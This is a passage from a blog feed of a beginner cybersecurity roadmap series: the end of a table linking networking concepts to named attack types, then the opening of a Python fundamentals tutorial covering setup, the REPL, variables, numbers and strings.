&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MAN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;City-scale infrastructure attacks, utility network targeting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WAN/Internet&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BGP hijacking, routing attacks, internet-scale DDoS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bandwidth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DDoS characterisation, exfiltration detection, C2 traffic analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Latency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Timing attacks, network topology mapping, C2 detection via timing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Jitter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OT attack impact, network forensics anomaly detection, DoS characterisation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Frames&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ARP poisoning (Layer 2), MAC spoofing, fragmentation attacks, GOOSE injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Packets&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IP spoofing, TTL fingerprinting, fragmentation evasion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Broadcast&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LLMNR/NBT-NS poisoning (Responder), Smurf attack, ARP spoofing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Multicast&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;mDNS/SSDP enumeration, IEC 61850 GOOSE injection, UPnP attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unicast&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Promiscuous mode sniffing, switched network eavesdropping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Topology&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Attack path analysis, blast radius assessment, segmentation design&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.2-osi-model.md"&gt;Stage 1.2 — OSI Model&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Stage:&lt;/strong&gt; &lt;a href="//../STAGE-00_Foundations/README.md"&gt;Stage 00 — Foundations&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>networking</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Stage 0.5 — Programming Fundamentals</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sat, 30 May 2026 13:51:16 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-05-programming-fundamentals-45n5</link>
      <guid>https://dev.to/rencberakman/stage-05-programming-fundamentals-45n5</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 0 — Computer Science Foundations&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 0.5 — Programming Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Intermediate&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 0.4 — Linux Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Stage:&lt;/strong&gt; Stage 01 — Network Fundamentals&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Programming Is the Multiplier&lt;/li&gt;
&lt;li&gt;Python — The Language of Security&lt;/li&gt;
&lt;li&gt;Variables and Data Types&lt;/li&gt;
&lt;li&gt;Loops and Conditionals&lt;/li&gt;
&lt;li&gt;Functions&lt;/li&gt;
&lt;li&gt;Error Handling&lt;/li&gt;
&lt;li&gt;File Read and Write&lt;/li&gt;
&lt;li&gt;String Operations&lt;/li&gt;
&lt;li&gt;Basic Algorithms&lt;/li&gt;
&lt;li&gt;Security-Oriented Programming Mindset&lt;/li&gt;
&lt;li&gt;Hands-On Projects&lt;/li&gt;
&lt;li&gt;Further Reading and Resources&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Programming Is the Multiplier
&lt;/h2&gt;

&lt;p&gt;There is a clear ceiling in cybersecurity for people who cannot code. They can run tools built by others. They can follow documented exploitation steps. They can use frameworks someone else developed. But they cannot:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Build a custom exploit for a vulnerability that has no public PoC&lt;/li&gt;
&lt;li&gt;Write a script that automates reconnaissance across thousands of targets&lt;/li&gt;
&lt;li&gt;Modify existing tools to evade detection&lt;/li&gt;
&lt;li&gt;Analyse malware source code or reverse engineer compiled binaries&lt;/li&gt;
&lt;li&gt;Build detection logic that catches novel attack patterns&lt;/li&gt;
&lt;li&gt;Create tools tailored to specific OT protocols that no commercial product supports&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Programming removes that ceiling. It turns you from a tool user into a tool builder.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The security professional's programming reality:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You do not need to be a software engineer. You do not need to build production-grade applications with clean architecture and unit tests. You need to be able to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Read code and understand what it does&lt;/li&gt;
&lt;li&gt;Write scripts that automate your work&lt;/li&gt;
&lt;li&gt;Modify existing tools for your specific needs&lt;/li&gt;
&lt;li&gt;Understand how vulnerabilities manifest at the code level&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These four abilities are achievable. This module builds the foundation for all of them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Language choice — Python:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every language has advocates. For security work, the choice is Python, and it is not close:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;All major security frameworks are Python — Impacket, Scapy, Volatility, pwntools, sqlmap&lt;/li&gt;
&lt;li&gt;Metasploit modules are Ruby but Python scripts are the glue that connects everything&lt;/li&gt;
&lt;li&gt;OSCP, GICSP, and every professional certification assumes Python competence&lt;/li&gt;
&lt;li&gt;The speed from idea to working script is the fastest in Python&lt;/li&gt;
&lt;li&gt;Libraries for every security task exist — socket, struct, ctypes, requests, cryptography, scapy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For your OT/ICS path:&lt;/strong&gt; Modbus, DNP3, and IEC 60870 all have Python libraries. Writing a custom Modbus scanner, a DNP3 fuzzer, or a script that reads PMU data — all Python. The intersection of industrial protocol knowledge and Python is exactly where the most interesting OT security work happens.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Python — The Language of Security
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 Installation and Environment
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check Python version (Python 3.8+ required, 3.10+ recommended)&lt;/span&gt;
python3 &lt;span class="nt"&gt;--version&lt;/span&gt;

&lt;span class="c"&gt;# On Kali/Ubuntu — Python 3 is pre-installed&lt;/span&gt;
&lt;span class="c"&gt;# Verify pip is available&lt;/span&gt;
pip3 &lt;span class="nt"&gt;--version&lt;/span&gt;

&lt;span class="c"&gt;# Create a virtual environment (best practice — isolates project dependencies)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; venv security_env
&lt;span class="nb"&gt;source &lt;/span&gt;security_env/bin/activate     &lt;span class="c"&gt;# Activate on Linux/Mac&lt;/span&gt;
&lt;span class="c"&gt;# security_env\Scripts\activate      # Activate on Windows&lt;/span&gt;

&lt;span class="c"&gt;# Install packages&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;requests scapy pwntools impacket
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt     &lt;span class="c"&gt;# Install from requirements file&lt;/span&gt;

&lt;span class="c"&gt;# Deactivate virtual environment&lt;/span&gt;
deactivate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Running Python
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Interactive interpreter (REPL — Read Eval Print Loop)&lt;/span&gt;
python3
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Hello"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; 2 + 2
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;

&lt;span class="c"&gt;# Run a script&lt;/span&gt;
python3 script.py

&lt;span class="c"&gt;# Run one-liner&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import socket; print(socket.gethostbyname('google.com'))"&lt;/span&gt;

&lt;span class="c"&gt;# Start a simple HTTP server (used constantly in security work)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8080
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8080 &lt;span class="nt"&gt;--bind&lt;/span&gt; 0.0.0.0  &lt;span class="c"&gt;# Listen on all interfaces&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Python Basics — Syntax Rules
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Comments start with #
# Python uses indentation (4 spaces) instead of brackets for code blocks
&lt;/span&gt;
&lt;span class="c1"&gt;# Correct:
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;indented correctly&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Wrong — IndentationError:
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;not indented&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# This will crash
&lt;/span&gt;
&lt;span class="c1"&gt;# No semicolons needed at end of lines
# No variable declaration keywords (no var, let, int)
# Python is dynamically typed — type is determined at runtime
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Variables and Data Types
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Variables
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Variable assignment — no type declaration needed
&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Alice&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
&lt;span class="n"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.75&lt;/span&gt;
&lt;span class="n"&gt;is_admin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;

&lt;span class="c1"&gt;# Multiple assignment
&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;   &lt;span class="c1"&gt;# Tuple unpacking
&lt;/span&gt;
&lt;span class="c1"&gt;# Variable naming conventions
&lt;/span&gt;&lt;span class="n"&gt;user_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bob&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;          &lt;span class="c1"&gt;# snake_case — Python standard
&lt;/span&gt;&lt;span class="n"&gt;MAX_RETRIES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;            &lt;span class="c1"&gt;# UPPERCASE for constants (convention, not enforced)
&lt;/span&gt;&lt;span class="n"&gt;_private&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;internal&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;      &lt;span class="c1"&gt;# Underscore prefix = "private" by convention
&lt;/span&gt;
&lt;span class="c1"&gt;# Check type
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;          &lt;span class="c1"&gt;# &amp;lt;class 'str'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;           &lt;span class="c1"&gt;# &amp;lt;class 'int'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;        &lt;span class="c1"&gt;# &amp;lt;class 'float'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;      &lt;span class="c1"&gt;# &amp;lt;class 'bool'&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Core Data Types
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Integers and Floats
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Integers — whole numbers, no size limit in Python 3
&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;
&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1337&lt;/span&gt;
&lt;span class="n"&gt;max_uint32&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;      &lt;span class="c1"&gt;# Hex notation
&lt;/span&gt;&lt;span class="n"&gt;binary_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mb"&gt;0b11001100&lt;/span&gt;    &lt;span class="c1"&gt;# Binary notation
&lt;/span&gt;&lt;span class="n"&gt;octal_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mo"&gt;0o755&lt;/span&gt;          &lt;span class="c1"&gt;# Octal notation (file permissions!)
&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;              &lt;span class="c1"&gt;# '0xff'
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;              &lt;span class="c1"&gt;# '0b11111111'
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;oct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;              &lt;span class="c1"&gt;# '0o377'
&lt;/span&gt;
&lt;span class="c1"&gt;# Integer arithmetic
&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;             &lt;span class="c1"&gt;# Integer division: 3 (floor division)
&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;           &lt;span class="c1"&gt;# Modulo: 1 (remainder)
&lt;/span&gt;&lt;span class="n"&gt;power&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;              &lt;span class="c1"&gt;# Exponentiation: 1024
&lt;/span&gt;
&lt;span class="c1"&gt;# Floats — floating point numbers
&lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;3.14159&lt;/span&gt;
&lt;span class="n"&gt;scientific&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.5e-10&lt;/span&gt;         &lt;span class="c1"&gt;# Scientific notation
&lt;/span&gt;
&lt;span class="c1"&gt;# Type conversion
&lt;/span&gt;&lt;span class="n"&gt;port_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8080&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;port_int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;     &lt;span class="c1"&gt;# String to int
&lt;/span&gt;&lt;span class="n"&gt;port_float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# String to float
&lt;/span&gt;&lt;span class="n"&gt;port_back&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port_int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;# Int to string
&lt;/span&gt;
&lt;span class="c1"&gt;# Security use: working with raw bytes and integers
&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\xc0\xa8\x01\x01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;big&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 192.168.1.1 as integer
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                &lt;span class="c1"&gt;# 3232235777
&lt;/span&gt;&lt;span class="n"&gt;ip_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;big&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# b'\xc0\xa8\x01\x01'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Strings
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# String literals — single, double, or triple quotes
&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Alice&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello, World&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;multiline&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;This is
a multiline
string&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="c1"&gt;# Raw strings — backslashes not treated as escape sequences
&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C:\Users\Alice\Documents&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;     &lt;span class="c1"&gt;# r prefix = raw string
&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# IP regex pattern
&lt;/span&gt;
&lt;span class="c1"&gt;# f-strings — formatted strings (Python 3.6+, use these always)
&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connecting to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port in hex: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;#x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;       &lt;span class="c1"&gt;# Port in hex: 0x50
&lt;/span&gt;
&lt;span class="c1"&gt;# String operations
&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello, Security!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                          &lt;span class="c1"&gt;# 16 — length
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                       &lt;span class="c1"&gt;# HELLO, SECURITY!
